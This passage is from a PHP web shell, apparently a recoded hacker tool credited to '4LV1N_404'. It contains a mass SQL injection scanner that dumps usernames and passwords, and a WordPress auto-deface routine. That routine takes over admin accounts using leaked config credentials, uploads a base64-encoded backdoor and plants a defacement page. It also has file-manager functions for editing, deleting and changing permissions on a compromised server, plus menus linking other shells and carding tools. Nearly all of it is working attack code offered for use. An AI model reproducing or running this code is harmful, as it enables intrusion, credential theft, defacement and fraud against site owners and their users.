2874$co=$_POST['sites'];
2875
2876if($ya){
2877$e=explode("rn",$co);
2878foreach($e as $bda){
2879$fp = fopen("cookie.txt", "w+");
2880$Cookie = realpath('cookie.txt');
2881$web = $bda."/statis--1'union%20select%20/*!50000Concat*/(username,0x20,password)+from+users--+--+-profil.html";
2882$curl=curl_init();
2883curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
2884curl_setopt($curl,CURLOPT_URL,"$web");
2885curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
2886curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, false);
2887curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
2888curl_setopt($curl,CURLOPT_COOKIEFILE, "$Cookie");
2889curl_setopt($curl,CURLOPT_TIMEOUT,5);
2890$gweb = curl_exec($curl);
2891$web2 = $bda."/statis--1'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+-profil.html";
2892$curl2=curl_init();
2893curl_setopt($curl2,CURLOPT_RETURNTRANSFER,1);
2894curl_setopt($curl2,CURLOPT_URL,"$web2");
2895curl_setopt($curl2,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
2896curl_setopt($curl2,CURLOPT_SSL_VERIFYPEER, false);
2897curl_setopt($curl2,CURLOPT_FOLLOWLOCATION,1);
2898curl_setopt($curl2,CURLOPT_COOKIEFILE, "$C2ookie");
2899curl_setopt($curl2,CURLOPT_TIMEOUT,5);
2900$gweb2 = curl_exec($curl2);
2901echo '<center><font face="courier" color="#00BFFF" >'.$bda.'</font><br><textarea rows="10" cols="40">'.htmlentities($gweb2).'</textarea>','<textarea rows="10" cols="40">'.htmlentities($gweb).'</textarea>';
2902$cek_admin = @file_get_contents("$bda/adminweb");
2903if(preg_match("/Copyright/", $cek_admin)) {
2904 echo "<BR><font color=green>4LV1N_404</font> => <font color=white><a href='$bda/adminweb' target='_blank'>$bda/adminweb</a></font><br>";
2905 } else {
2906 echo "<br><br>[-] <font color=red> Gak Ada /adminweb, Jancok! -_-</font>[-]<br><br><hr color='white'>";
2907}}}
2908
2909##########################################################################
2910} elseif($_GET['act'] == 'chmod') {
2911 echo "<tr><td>Current File : ";
2912 echo base64_decode($_GET['filesrc']);
2913 echo '</tr></td></table><br />';
2914 echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
2915}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
2916 echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
2917 if($_POST['opt'] == 'chmod'){
2918 if(isset($_POST['perm'])){
2919 if(chmod($_POST['path'],$_POST['perm'])){
2920 echo '<font color="green">Change Permission Done.</font><br />';
2921 }else{
2922 echo '<font color="red">Change Permission Error.</font><br />';
2923 }
2924 }
2925 echo '<form method="POST">
2926 Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
2927 <input type="hidden" name="path" value="'.$_POST['path'].'">
2928 <input type="hidden" name="opt" value="chmod">
2929 <input type="submit" value="Done" />
2930 </form>';
2931}
2932
2933#########################################################################
2934
2935
2936} elseif($_GET['do'] == 'auto_dwp2') {
2937 if($_POST['auto_deface_wp']) {
2938 function anucurl($sites) {
2939 $ch = curl_init($sites);
2940 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2941 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2942 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
2943 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
2944 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
2945 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
2946 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
2947 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
2948 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
2949 $data = curl_exec($ch);
2950 curl_close($ch);
2951 return $data;
2952 }
2953 function lohgin($cek, $web, $userr, $pass, $wp_submit) {
2954 $post = array(
2955 "log" => "$userr",
2956 "pwd" => "$pass",
2957 "rememberme" => "forever",
2958 "wp-submit" => "$wp_submit",
2959 "redirect_to" => "$web",
2960 "testcookie" => "1",
2961 );
2962 $ch = curl_init($cek);
2963 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2964 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2965 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
2966 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
2967 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
2968 curl_setopt($ch, CURLOPT_POST, 1);
2969 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
2970 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
2971 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
2972 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
2973 $data = curl_exec($ch);
2974 curl_close($ch);
2975 return $data;
2976 }
2977 $link = explode("\r\n", $_POST['link']);
2978 $script = htmlspecialchars($_POST['script']);
2979 $user = "alvin404";
2980 $pass = "alvin404";
2981 $passx = md5($pass);
2982 foreach($link as $dir_config) {
2983 $config = anucurl($dir_config);
2984 $dbhost = ambilkata($config,"DB_HOST', '","'");
2985 $dbuser = ambilkata($config,"DB_USER', '","'");
2986 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2987 $dbname = ambilkata($config,"DB_NAME', '","'");
2988 $dbprefix = ambilkata($config,"table_prefix = '","'");
2989 $prefix = $dbprefix."users";
2990 $option = $dbprefix."options";
2991 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2992 $db = mysql_select_db($dbname);
2993 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
2994 $result = mysql_fetch_array($q);
2995 $id = $result[ID];
2996 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2997 $result2 = mysql_fetch_array($q2);
2998 $target = $result2[option_value];
2999 if($target == '') {
3000 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
3001 } else {
3002 echo "[+] $target <br>";
3003 }
3004 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
3005 if(!$conn OR !$db OR !$update) {
3006 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
3007 mysql_close($conn);
3008 } else {
3009 $site = "$target/wp-login.php";
3010 $site2 = "$target/wp-admin/theme-install.php?upload";
3011 $b1 = anucurl($site2);
3012 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
3013 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
3014 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
3015 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
3016 $www = "m.php";
3017 $fp5 = fopen($www,"w");
3018 fputs($fp5,$upload3);
3019 $post2 = array(
3020 "_wpnonce" => "$anu2",
3021 "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
3022 "themezip" => "@$www",
3023 "install-theme-submit" => "Install Now",
3024 );
3025 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
3026 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
3027 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3028 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
3029 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
3030 curl_setopt($ch, CURLOPT_POST, 1);
3031 curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
3032 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
3033 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
3034 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
3035 $data3 = curl_exec($ch);
3036 curl_close($ch);
3037 $y = date("Y");
3038 $m = date("m");
3039 $namafile = "id.php";
3040 $fpi = fopen($namafile,"w");
3041 fputs($fpi,$script);
3042 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
3043 curl_setopt($ch6, CURLOPT_POST, true);
3044 curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
3045 curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
3046 curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
3047 curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
3048 curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
3049 $postResult = curl_exec($ch6);
3050 curl_close($ch6);
3051 $as = "$target/k.php";
3052 $bs = anucurl($as);
3053 if(preg_match("#$script#is", $bs)) {
3054 echo "[+] <font color='lime'>berhasil mepes...</font><br>";
3055 echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
3056 } else {
3057 echo "[-] <font color='red'>gagal mepes...</font><br>";
3058 echo "[!!] coba aja manual: <br>";
3059 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
3060 echo "[+] username: <font color=lime>$user</font><br>";
3061 echo "[+] password: <font color=lime>$pass</font><br><br>";
3062 }
3063 mysql_close($conn);
3064 }
3065 }
3066 } else {
3067 echo "<center><h1>WordPress Auto Deface V.2</h1>
3068 <form method='post'>
3069 Link Config: <br>
3070 <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
3071 <input type='text' name='script' height='10' size='50' placeholder='Hacked By 4LV1N_404' required><br>
3072 <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
3073 </form></center>";
3074 }
3075} elseif($_GET['act'] == 'newfile') {
3076 if($_POST['new_save_file']) {
3077 $newfile = htmlspecialchars($_POST['newfile']);
3078 $fopen = fopen($newfile, "a+");
3079 if($fopen) {
3080 $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
3081 } else {
3082 $act = "<font color=red>permission denied</font>";
3083 }
3084 }
3085 echo $act;
3086 echo "<form method='post'>
3087 Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
3088 <input type='submit' name='new_save_file' value='Submit'>
3089 </form>";
3090} elseif($_GET['act'] == 'newfolder') {
3091 if($_POST['new_save_folder']) {
3092 $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
3093 if(!mkdir($new_folder)) {
3094 $act = "<font color=red>permission denied</font>";
3095 } else {
3096 $act = "<script>window.location='?dir=".$dir."';</script>";
3097 }
3098 }
3099 echo $act;
3100 echo "<form method='post'>
3101 Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
3102 <input type='submit' name='new_save_folder' value='Submit'>
3103 </form>";
3104} elseif($_GET['act'] == 'rename_dir') {
3105 if($_POST['dir_rename']) {
3106 $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
3107 if($dir_rename) {
3108 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
3109 } else {
3110 $act = "<font color=red>permission denied</font>";
3111 }
3112 echo "".$act."<br>";
3113 }
3114 echo "<form method='post'>
3115 <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
3116 <input type='submit' name='dir_rename' value='rename'>
3117 </form>";
3118} elseif($_GET['act'] == 'delete_dir') {
3119 function Delete($path)
3120{
3121 if (is_dir($path) === true)
3122 {
3123 $files = array_diff(scandir($path), array('.', '..'));
3124 foreach ($files as $file)
3125 {
3126 Delete(realpath($path) . '/' . $file);
3127 }
3128 return rmdir($path);
3129 }
3130 else if (is_file($path) === true)
3131 {
3132 return unlink($path);
3133 }
3134 return false;
3135}
3136 $delete_dir = Delete($dir);
3137 if($delete_dir) {
3138 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
3139 } else {
3140 $act = "<font color=red>could not remove ".basename($dir)."</font>";
3141 }
3142 echo $act;
3143} elseif($_GET['act'] == 'view') {
3144 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
3145 echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
3146} elseif($_GET['act'] == 'edit') {
3147 if($_POST['save']) {
3148 $save = file_put_contents($_GET['file'], $_POST['src']);
3149 if($save) {
3150 $act = "<font color=lime>Saved!</font>";
3151 } else {
3152 $act = "<font color=red>permission denied</font>";
3153 }
3154 echo "".$act."<br>";
3155 }
3156 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
3157 echo "<form method='post'>
3158 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
3159 <input type='submit' value='Save' name='save' style='width: 500px;'>
3160 </form>";
3161} elseif($_GET['act'] == 'rename') {
3162 if($_POST['do_rename']) {
3163 $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
3164 if($rename) {
3165 $act = "<script>window.location='?dir=".$dir."';</script>";
3166 } else {
3167 $act = "<font color=red>permission denied</font>";
3168 }
3169 echo "".$act."<br>";
3170 }
3171 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
3172 echo "<form method='post'>
3173 <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
3174 <input type='submit' name='do_rename' value='rename'>
3175 </form>";
3176} elseif($_GET['act'] == 'delete') {
3177 $delete = unlink($_GET['file']);
3178 if($delete) {
3179 $act = "<script>window.location='?dir=".$dir."';</script>";
3180 } else {
3181 $act = "<font color=red>permission denied</font>";
3182 }
3183 echo $act;
3184}else {
3185 if(is_dir($dir) == true) {
3186 echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
3187 <tr>
3188 <th class="th_home"><center>Name</center></th>
3189 <th class="th_home"><center>Type</center></th>
3190 <th class="th_home"><center>Size</center></th>
3191 <th class="th_home"><center>Last Modified</center></th>
3192 <th class="th_home"><center>Permission</center></th>
3193 <th class="th_home"><center>Action</center></th>
3194 </tr>';
3195 $scandir = scandir($dir);
3196 foreach($scandir as $dirx) {
3197 $dtype = filetype("$dir/$dirx");
3198 $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
3199 if(!is_dir("$dir/$dirx")) continue;
3200 if($dirx === '..') {
3201 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
3202 } elseif($dirx === '.') {
3203 $href = "<a href='?dir=$dir'>$dirx</a>";
3204 } else {
3205 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
3206 }
3207 if($dirx === '.' || $dirx === '..') {
3208 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
3209 } else {
3210 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
3211
3212 }
3213 echo "<div id=content>";
3214 echo "<tr>";
3215 echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
3216 echo "<td class='td_home'><center>$dtype</center></td>";
3217 echo "<td class='td_home'><center>-</center></th>";
3218 echo "<td class='td_home'><center>$dtime</center></td>";
3219 echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
3220 echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
3221 }
3222 echo "</tr>";
3223 foreach($scandir as $file) {
3224 $ftype = filetype("$dir/$file");
3225 $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
3226 $size = filesize("$dir/$file")/1024;
3227 $size = round($size,3);
3228 if($size > 1024) {
3229 $size = round($size/1024,2). 'MB';
3230 } else {
3231 $size = $size. 'KB';
3232 }
3233 if(!is_file("$dir/$file")) continue;
3234 echo "<tr>";
3235 echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
3236 echo "<td class='td_home'><center>$ftype</center></td>";
3237 echo "<td class='td_home'><center>$size</center></td>";
3238 echo "<td class='td_home'><center>$ftime</center></td>";
3239 echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
3240 echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
3241 }
3242 echo "</tr></div></table>";
3243 } else {
3244 echo "<font color=red>can't open directory</font>";
3245 }
3246 }
3247#########################################################################
3248
3249echo "<center><hr><form>
3250<select onchange='if (this.value) window.open(this.value);'>
3251 <option selected='selected' value=''> Tools Creator </option>
3252 <option value='$ling=wso'>WSO 2.8.1</option>
3253 <option value='$ling=injection'>1n73ction v3</option>
3254 <option value='$ling=wk'>WHMCS Killer</option>
3255 <option value='$ling=adminer'>Adminer</option>
3256 <option value='$ling=b374k'>b374k Shell</option>
3257 <option value='$ling=b374k323'>b374k 3.2</option>
3258 <option value='$ling=bh'>BlackHat Shell</option>
3259 <option value='$ling=dhanus'>Dhanush Shell</option>
3260 <option value='$ling=r57'>R57 Shell</option>
3261<option value='$ling=encodedecode'>Encode Decode</option>
3262<option value='$ling=r57'>R57 Shell</option>
3263</select>
3264<select onchange='if (this.value) window.open(this.value);'>
3265 <option selected='selected' value=''> Tools Carder </option>
3266 <option value='$ling=extractor'>DB Email Extractor</option>
3267 <option value='$ling=promailerv2'>Pro Mailer V2</option>
3268 <option value='$ling=bukalapak'>BukaLapak Checker</option>
3269 <option value='$ling=tokopedia'>TokoPedia Checker</option>
3270 <option value='$ling=tokenpp'>Paypal Token Generator</option>
3271 <option value='$ling=mailer'>Mailer</option>
3272 <option value='$ling=gamestopceker'>GamesTop Checker</option>
3273 </select>
3274<noscript><input type='submit' value='Submit'></noscript>
3275</form>Copyright © ".date("Y")." - <a href='http://garudasecurityhacker.org/' target='_blank'><font color=lime>Anazvr</font></a> | Recode by <a href='http://facebook.com/alvin.go.id' target='_blank'><font color=lime>4LV1N_404</font></a> </center><hr>";
3276
3277?>
3278</html>